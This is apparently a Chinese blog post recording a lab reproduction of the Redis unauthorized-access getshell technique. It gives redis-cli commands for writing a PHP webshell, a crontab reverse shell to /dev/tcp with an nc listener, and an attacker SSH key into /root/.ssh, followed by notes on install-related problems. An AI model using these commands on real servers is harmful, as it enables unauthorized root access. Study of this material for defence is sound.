老早就听说了redis 可以getshell,一直没尝试复现还是因为不熟redis,只知道它能用作缓存。 趁这次机会都学习一下。

这次复现,也查了很多资料,因为方法都是以前的,有些漏洞应用条件也有了不同,因为安装方式的不同getshell问题也不一样。遇到了很多问题,希望这篇博客能给后来者一点思路。

为什么redis会被getshell

redis 被getshell的主要原因是redis的无授权访问,如果redis是以root权限运行的话,非法访问者就可以通过redis向任意文件夹写文件,比如向web目录写webshell、向~/.ssh/目录写入sshkey,或者写crontab,反弹shell。

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中。之所以能够通过redis任意目录写文件,是因为redis有保存备份的功能。如果我们连接上目标主机,能将备份文件目录改成任意地址,把备份文件名改成任意我们想要的,这时我们只要向redis插入一个键值对(包含我们想要写的内容),我们就成功可以实现以上所说的功能了。

当我们通过redis-cli连接上目标主机redis后,可以通过命令

config set dir /var/www/html 设置备份目录

config set dbfilename webshell.php 设置备份文件名

set key "<?php phpinfo(); ?> 设置备份的内容

save 保存

getshell的方法及条件

  1. 通过向Web目录写Webshell
    • redis以root权限运行。
    • 已知web目录绝对路径。
  2. 通过写SSH Key的方式进行getshell
    • redis以root权限运行。
  3. 通过写corntab的方式进行getshell
    • redis以root权限运行。

复现

一、安装redis

我一开始是以apt 安装的redis。但是后来,我发现这样安装禁锢会多很多。这些我会在后面遇到的问题中聊一聊。

sudo apt install redis-server

这种方式安装自动会运行,得杀掉进程后找到redis-server安装目录sudo ./redis-server 运行。

第二种方法

wget http://download.redis.io/releases/redis-4.0.9.tar.gz
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install

二、getshell方法

1、向web目录写webshell

连接目标redis:redis-cli -h 192.168.246.129 -p 6379

设置web目录:config set dir /opt/lampp/htdocs

设置备份文件名:config set dbfilename webshell.php

设置值:set key "<?php phpinfo(); ?>

写:save

2、写crontab定时任务,反弹shell。

我们知道,在linux /var/spool/cron/crontabs 目录保存着各个用户定时任务,通过redis写入定时任务就可以实现反弹shell。

连接目标redis:redis-cli -h 192.168.246.129 -p 6379

设置crontab目录:/var/spool/cron/crontabs

设置备份文件名:config set dbfilename root

在这里,我们应该设置一个类似* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1 的值,然后save就好了。但是直接这样设值redis会报错,我们应该将以上内容写入一个txt文件中。

然后cat lala.txt | redis-cli -h 10.133.1.79 -p 6379 -x set key 这样设置内容。最后save一下就行了。

在自己电脑上运行nc -p 4444 -l -v 接收shell。

3、写ssh key,直接连接主机。

同理,我们可以向 ~/.ssh 中写入自己的ssh key就可以直接用ssh连接目标主机了

设置目录:config set dir /root/.ssh

设置备份文件名称 :config set dbfilename authorized_keys

设置写的内容的方法和crontab中一样,将~/.ssh/id_rsa.pub 公钥写入文本中再写入redis。 (注意写入前后都加上换行)

save 一下 ,就可以直接不需密码ssh连上主机,还能拥有root权限

复现中遇见的问题

一、安装方式不同遇见的问题。

上面我们提到,如果是使用apt安装的redis,那么就会在后面的复现getshell中会多遇到很多麻烦。一开始我也是apt安装的redis,吃了不少苦头。

首先,apt安装redis默认以redis用户权限运行,没有root权限我们无法写文件。

其次,我们杀掉进程,重新找到redis-server文件,使用sudo /etc/init.d/redis-server start运行程序。当我们save的时候,会发现报错(error) ERR 查看日志Failed opening .rdb for saving: Read-only file system。需要在/etc/systemd/system/redis.service 文件中加入ReadWriteDirectories=-/var/www/html ,在运行sudo systemctl daemon-reload,这时才能成功写入。

但是apt安装的通过 sudo /usr/bin/redis-server 运行就不会有以上问题。如果是以以上下载源码编译的方式安装的,那么也没有这些问题。

二、ubuntu系统写crontab无法复现

虽然已经写入了反弹shell定时脚本,但是应该是redis写文件导致前后滞留信息影响了crontab定时脚本的执行。另一个博主也没有尝试成功,但是他在centos7中成功执行了。很有可能写crontab getshell成功的目标机系统为非ubuntu系统。

三、其他问题

还有些问题,其他人的博客也有提到

redis中使用备份数据的时候,会把以前的数据完整备份一遍,也就是说这个数据库持久化文件很可能会非常大,apache读不读的出来还是一回事儿,太大说不定直接阻塞down掉。一种方法是将全部的数据备份,再flushall,再备份导出shell,然后利用第一步的持久化文件进行恢复,这样做可能会造成一定的数据丢失,对站点造成损害,还是不推荐使用。